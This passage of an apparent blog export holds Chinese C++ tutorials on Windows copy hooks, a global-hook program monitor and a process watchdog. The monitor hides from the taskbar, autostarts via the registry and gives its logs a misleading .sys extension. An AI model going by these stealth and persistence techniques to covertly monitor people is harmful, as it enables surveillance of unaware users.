if(dwIID == IID_IUnknown)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; *ppvObject = static_cast\u0026lt;IUnknown*\u0026gt;(this);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(dwIID == IID_IClassFactory)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; *ppvObject = static_cast\u0026lt;IClassFactory*\u0026gt;(this);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return E_NOINTERFACE;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; reinterpret_cast\u0026lt;IUnknown*\u0026gt;(*ppvObject)-\u0026gt;AddRef();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return S_OK;\n}\n//\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\nHRESULT __stdcall TClassFactory::CreateInstance(IUnknown* pUnkownOuter,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; REFIID riid, void** ppvObj)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(pUnkownOuter != NULL)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return CLASS_E_NOAGGREGATION;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TCopyHook *pObj = new TCopyHook;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pObj-\u0026gt;AddRef();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HRESULT hr = pObj-\u0026gt;QueryInterface(riid, ppvObj);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pObj 文章\n","permalink":"https://hessian.cn/p/579.html","summary":"本文原出处已不知。原作：webber84， 经ccrun(老妖)修改并在BCB在调试通过。\nICopyHook 是一个用于创建拷贝钩子处理程序COM接口，它决定一个文件夹或者打印机对象是否可以被移动，拷贝，重命名或删除。Shell在执行这些操作之前，会调用 ICopyHook接口的CopyCallback方法对它们进行验证。CopyCallback返回一个int值指示Shell是否应该继续执行这个操 作。返回值IDYES表示继续，而返回值IDNO和IDCANCEL则表示终止。\n","title":"用拷贝钩子实现对文件夹的监控"},{"content":" 作者：Victor Chen\n来自：C++ 爱好者\nhttp://www.cppfans.com\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n程序介绍:\n利用这个程序:\n1.可以监视在你的电脑运行的程序, 把在你的电脑运行过的程序的时间和名字记录下来;\n2.可以阻止你规定的禁用程序的执行, 比如不让玩游戏。\n3.这个程序需要加入注册表, 在系统启动时就运行, 达到监视的目的。注册表大概都不陌生，就是这里:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun\n程序的记录格式:\n2003-02-03 17:31:25 \u0026#8211; [System Startup \u0026#8211; Windows XP 5.01.2600]\n2003-02-03 17:31:29 \u0026quot;CabinetWClass\u0026quot; -\u0026gt; \u0026quot;我的电脑\u0026quot;\n2003-02-03 17:31:59 \u0026quot;Red Alert\u0026quot; -\u0026gt; \u0026quot;Red Alert\u0026quot; (关闭禁用程序)\n2003-02-03 17:32:19 \u0026quot;扫雷\u0026quot; -\u0026gt; \u0026quot;扫雷\u0026quot; (关闭禁用程序)\n2003-02-03 17:32:35 \u0026quot;OpusApp\u0026quot; -\u0026gt; \u0026quot;Microsoft Word\u0026quot;\n2003-02-03 17:32:50 \u0026#8211; [System Shutdown \u0026#8211; 0 days, 0 hrs, 1 mins, 25 secs]\n2003-02-03 17:35:37 \u0026#8211; [System Startup \u0026#8211; Windows 98 SE 4.10.2222]\n2003-02-03 17:35:53 \u0026quot;扫雷\u0026quot; -\u0026gt; \u0026quot;扫雷\u0026quot; (关闭禁用程序)\n2003-02-03 17:36:05 \u0026quot;CabinetWClass\u0026quot; -\u0026gt; \u0026quot;\u0026quot;\n2003-02-03 17:36:31 \u0026quot;Red Alert\u0026quot; -\u0026gt; \u0026quot;Red Alert\u0026quot; (关闭禁用程序)\n2003-02-03 17:36:56 \u0026quot;ExploreWClass\u0026quot; -\u0026gt; \u0026quot;\u0026quot;\n2003-02-03 17:37:07 \u0026#8211; [System Shutdown \u0026#8211; 0 days, 0 hrs, 1 mins, 30 secs]\n程序运行只需要3个文件:\nhwhpapp.exe 可执行文件\nhwhpdrv.dll 安装钩子的动态链接库\nhwhpapp.cfg 禁用软件黑名单, 可用记事本修改\n程序运行会自动产生记录文件:\nhwhpapp.sys 可以用记事本打开看\n程序原理:\n一．钩子\n利用 API 函数 SetWindowsHookEx() 安装一个全局钩子, 钩子类型为 WH_SHELL。\nWH_SHELL 钩子可监视所有应用程序的主窗口创建或者关闭。\n最典型的应用就是 Windows 的状态栏，当程序运行时，把主窗口的标题加入状态栏，程序退出时，从状态栏删除。\n如果你截获这个钩子，可以做到禁止状态栏的显示，也可以自己作一个状态栏，或者作一个历史记录，把所有在你电脑曾经运行的程序记录下来。如果运行的程序不是你希望的，你可以直接关闭这个程序，达到禁止运行的目的。\n二．动态链接库\n由于钩子是全局的，必须把这个钩子定义到 .DLL 的动态链接库里，这就涉及到建立动态链接库。\n三．共享内存\n由于钩子是安装到系统里的，钩子的运行是在操作系统里面，因此这个钩子不能使用你的程序所定义的任何全局变量！\n既 然如此，有什么办法解决呢？在本程序里利用共享内存技术，利用 API 函数 CreateFileMapping() 可创建共享内存，这个内存可以在任何运行的程序中使用，也就是说任何运行的 .EXE、.DLL 和其他程序都可以使用这块内存。在本程序中直接使用了 Victor 串口 VCL 控件里的 TSharedMemory 共享内存类。\n四．记录文件和软件黑名单文件\n把所有在你的电脑执行的程序记录保存在一个文本文件里, 因为扩展名为 .txt 很容易被发现，因此采用扩展名 .sys\n软件黑名单文件保存在 .cfg 文件里，同样因为 .ini 文件很容易发现并且打开修改。\n这两个文件都保存在与你的 .exe 文件的相同文件夹里，并且与 .exe 文件同名.\n五．保证你的程序只能同时运行一个\n如果你同时运行两个程序，记录文件就会乱套，所以必须保证只能运行一个。\n当你的程序刚开始运行的时候，就是在 WinMain() 函数的最开始，就要判断是否已经运行了，如果已经运行，就直接退出。\n判断的方法很简单，就是检查程序共享的内存是否存在，如果检查到共享的内存已经存在，那就是已经运行了。 六．程序隐身, 不能显示在任务栏和任务管理器里面\n这个也很简单，只要在主程序的 Application-\u0026gt;Run(); 前面加一句话：\nSetWindowLong(Application-\u0026gt;Handle, GWL_EXSTYLE, GetWindowLong(Application-\u0026gt;Handle, GWL_EXSTYLE)|WS_EX_TOOLWINDOW);\n就可以了。\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n程序介绍\n.DLL 文件：这是最关键的钩子的代码:\n#include \u0026lt;vcl.h\u0026gt;\n#include \u0026quot;yb_base.h\u0026quot; //Victor 串口控件里面的一个头文件\n#define MYAPPMARK \u0026quot;VICTOR_APPMONI_20010612\u0026quot; //共享内存标志\nclass __export THookedProcs\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; public:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; THookedProcs();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ~THookedProcs();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; void WINAPI InitFuncs(void);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; void WINAPI UninitFuncs(void);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; private:\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HHOOK hThisHook; //保存钩子的句柄\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static LRESULT CALLBACK HookedShellProc(int nCode, WPARAM wParam, LPARAM lParam);\n};\n//定义共享的数据结构\ntypedef struct\n{\n\u0026nbsp;\u0026nbsp; HHOOK hHook; //当前使用的 HOOK\n//\u0026#8230; 此处可增加其他共享的数据\n} THookSharedData;\nTHookedProcs::THookedProcs()\n{\n\u0026nbsp;\u0026nbsp; hThisHook = NULL;\n}\nTHookedProcs::~THookedProcs()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; UninitFuncs();\n}\nvoid WINAPI THookedProcs::InitFuncs(void)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; UninitFuncs();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; hThisHook = SetWindowsHookEx(WH_SHELL, (HOOKPROC) HookedShellProc, HInstance, 0);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; TSharedMemory AppMem(MYAPPMARK,4096); //在 EXE 文件里共享的内存\n\u0026nbsp;\u0026nbsp;\u0026nbsp; THookSharedData *HookSharedData = ((THookSharedData*)(AppMem.AppInfo-\u0026gt;Data)); //共享的数据\n\u0026nbsp;\u0026nbsp;\u0026nbsp; HookSharedData-\u0026gt;hHook = hThisHook; //把 hThisHook 保存到共享内存里\n}\nvoid WINAPI THookedProcs::UninitFuncs(void)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(hThisHook)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; UnhookWindowsHookEx(hThisHook);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; hThisHook = NULL;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\nLRESULT CALLBACK THookedProcs::HookedShellProc(int nCode, WPARAM wParam, LPARAM lParam)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; TSharedMemory AppMem(MYAPPMARK, 4096); //使用在 .EXE 文件里共享的内存\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(AppMem.Valid)if(AppMem.Exists) //如果共享内存存在\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HWND hMainWnd = AppMem.AppInfo-\u0026gt;hMainForm;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(hMainWnd)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(nCode==HSHELL_WINDOWCREATED)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PostMessage(hMainWnd, WM_USERCMD, UC_WINHOOK, wParam);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //在 Hook 里无法调用 hThisHook, 必须用共享内存里面的 hHook\n\u0026nbsp;\u0026nbsp;\u0026nbsp; THookSharedData *HookSharedData = ((THookSharedData*)(AppMem.AppInfo-\u0026gt;Data)); //共享的数据\n\u0026nbsp;\u0026nbsp;\u0026nbsp; return CallNextHookEx(HookSharedData-\u0026gt;hHook, nCode, wParam, lParam);\n}\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\nEXE文件主程序的代码:\nWINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR lpCmdLine, int)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(!AppMem.Valid)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return 1;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if(AppMem.Exists) //已经存在 (程序以前已经运行过了, 并且正在运行)\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if(stricmp(lpCmdLine, \u0026quot;/SHOW\u0026quot;)==0) //如果监测到命令行参数 /SHOW 就显示出已经运行的程序的主窗口\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PostMessage(AppMem.AppInfo-\u0026gt;hMainForm, WM_USERCMD, UC_SHOWWIN, 0);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return 0;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp; AppMem.ClearBuffer();\n\u0026nbsp;\u0026nbsp;\u0026nbsp; try\n\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Application-\u0026gt;Initialize();\n","permalink":"https://hessian.cn/p/635.html","summary":" 作者：Victor Chen\n来自：C++ 爱好者\nhttp://www.cppfans.com\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\n程序介绍:\n利用这个程序:\n1.可以监视在你的电脑运行的程序, 把在你的电脑运行过的程序的时间和名字记录下来;\n2.可以阻止你规定的禁用程序的执行, 比如不让玩游戏。\n3.这个程序需要加入注册表, 在系统启动时就运行, 达到监视的目的。注册表大概都不陌生，就是这里:\nHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun\n","title":"钩子的应用: 程序运行监视"},{"content":"原作者姓名 陆其明\n文章原始出处 http://hqtech.nease.net\n正文\n一．概述\n一些重要的程 序，必须让它一直跑着；而且还要时时关心它的状态\u0026mdash;\u0026mdash;不能让它出现死锁现象。当然，如果一个主程序会出现死锁，肯定是设计或者编程上的失误。我们首要做的 事是，把这个Bug揪出来。但如果时间紧迫，这个Bug又\u0026ldquo;飘忽不定\u0026rdquo;，那么，我们还是先写一个软件\u0026ldquo;看门狗\u0026rdquo;，暂时应一下急吧。\n\u0026ldquo;看门狗\u0026rdquo;的需求描述：\u0026ldquo;看门狗\u0026rdquo;的运行不出现界面窗口，具有一定的隐蔽性；定时判断目标进程是否运行在当前系统中，如果没有则启动目标进程；判断目标进程是否\u0026ldquo;没有响应\u0026rdquo;，如果是则终止目标进程；如果目标进程\u0026ldquo;没有响应\u0026rdquo;的次数超过一定的数量，则将计算机系统重启。\n二．预备知识\n首 先要介绍两个主要的函数，能够判断目标进程是否\u0026ldquo;没有响应\u0026rdquo;。在User32.dll中（没有文档公开），Win2k/NT下的 IsHungAppWindow和Win9X下的IsHungThread；前者是以一个窗口句柄作为参数，后者是以线程ID作为参数。我们可以通过VC 开发工具的Depends查到这两个函数。\n要使用这两个函数，我们必须先动态导入，如下：\nif (m_hUser32 == NULL)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_hUser32 = GetModuleHandle(\u0026quot;USER32.DLL\u0026quot;);\n}\nif (m_hUser32)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_IsHungNT\u0026nbsp;\u0026nbsp; = (HUNG_FUNNT) GetProcAddress(m_hUser32, \u0026quot;IsHungAppWindow\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_IsHung9X\u0026nbsp;\u0026nbsp; = (HUNG_FUN9X) GetProcAddress(m_hUser32, \u0026quot;IsHungThread\u0026quot;);\n}\n另外，还有如下知识点：\n1.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何让窗口隐藏（当然通过Windows任务管理器还是可以看到的）\n在框架窗口类的PreCreateWindow中修改窗口风格，如下：\nBOOL CMainFrame::PreCreateWindow(CREATESTRUCT\u0026amp; cs)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if( !CFrameWnd::PreCreateWindow(cs) )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return FALSE;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // TODO: Modify the Window class or styles here by modifying\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //\u0026nbsp;\u0026nbsp; the CREATESTRUCT cs\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cs.dwExStyle |= WS_EX_TOOLWINDOW;\u0026nbsp;\u0026nbsp; // Make invisible in taskbar\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; cs.style\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = WS_POPUP;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // Hide the main window\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return TRUE;\n}\n2.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何让\u0026ldquo;看门狗\u0026rdquo;只运行一个进程\n使用互斥量。在CWatchDogApp::InitInstance()中，执行如下代码：\nbool CWatchDogApp::IsUniqueCopyInProc()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; m_Mutex = CreateMutex(NULL, TRUE, \u0026quot;System Watch Dog\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (GetLastError() == ERROR_ALREADY_EXISTS)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n}\n该函数如果返回false，说明已经有一个WatchDog进程在运行了，当前进程就没有必要再执行下去了。在InitInstance如下处理：\nif (!IsUniqueCopyInProc())\nreturn FALSE;\n3.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何判断当前操作系统类型\nbool CWatchDogApp::IsWinNT()\n{ \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; OSVERSIONINFO OSVersionInfo;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; OSVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GetVersionEx(\u0026amp;OSVersionInfo); \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n}\n4.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何自动重启计算机\n在Win9x和Win2k/NT下，重启计算机的处理略有不同：\nif (theApp.IsWinNT())\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // 在Win NT/2000下赋予关闭系统的权限\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static HANDLE hToken;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static TOKEN_PRIVILEGES tp;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; static LUID luid;\n::OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, \u0026amp;hToken ) ;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ::LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, \u0026amp;luid );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; tp.PrivilegeCount\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = 1;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; tp.Privileges[0].Luid\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; = luid;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ::AdjustTokenPrivileges( hToken, FALSE, \u0026amp;tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return ::ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);\n}\nelse\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return ::ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);\n}\n5.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何启动、结束其他进程\n启动进程用CreateProcess，终止进程用TerminateProcess。参考代码如下：\nbool CWatchDogView::RunTheSysProc()\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; char\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; szPath[MAX_PATH];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; GetModuleFileName(NULL, szPath, MAX_PATH);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CString strPath = szPath;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; strPath = strPath.Left(strPath.ReverseFind(\u0026#8216;\\\u0026#8217;)) + \u0026quot;\\HungDemo.exe\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; STARTUPINFO\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; StartInfo;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; PROCESS_INFORMATION\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; procStruct;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; memset(\u0026amp;StartInfo,0,sizeof(STARTUPINFO));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; StartInfo.cb = sizeof(STARTUPINFO);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (!::CreateProcess(\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; (LPCTSTR) strPath,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; FALSE,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NORMAL_PRIORITY_CLASS,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; NULL,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026amp;StartInfo,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026amp;procStruct))\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return true;\n}\n需要提醒的是，TerminateProcess是在万不得已的情况下使用的，它不会进入进程使用的DLL的入口点通知\u0026ldquo;脱离\u0026rdquo;（Detaching）状态。有时候，这样做是很危险的（DLL内部的全局数据可能受影响较大）。\n6.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何让Win2k/NT自动登录\n修 改注册表。在HKEY_LOCAL_MACHINE目录下的SoftwareMicrosoftWindows NT CurrentVersionWinLogon下的AutoAdminLogon（字符串型）设置成1，并在DefaultUserName设置默认登 录用户，DefaultPassword设置默认用户的密码。\n7.\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如何让Win2k/NT登录成功后直接执行你的程序（而不是默认的文件浏览器）\n修改注册表。在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NT 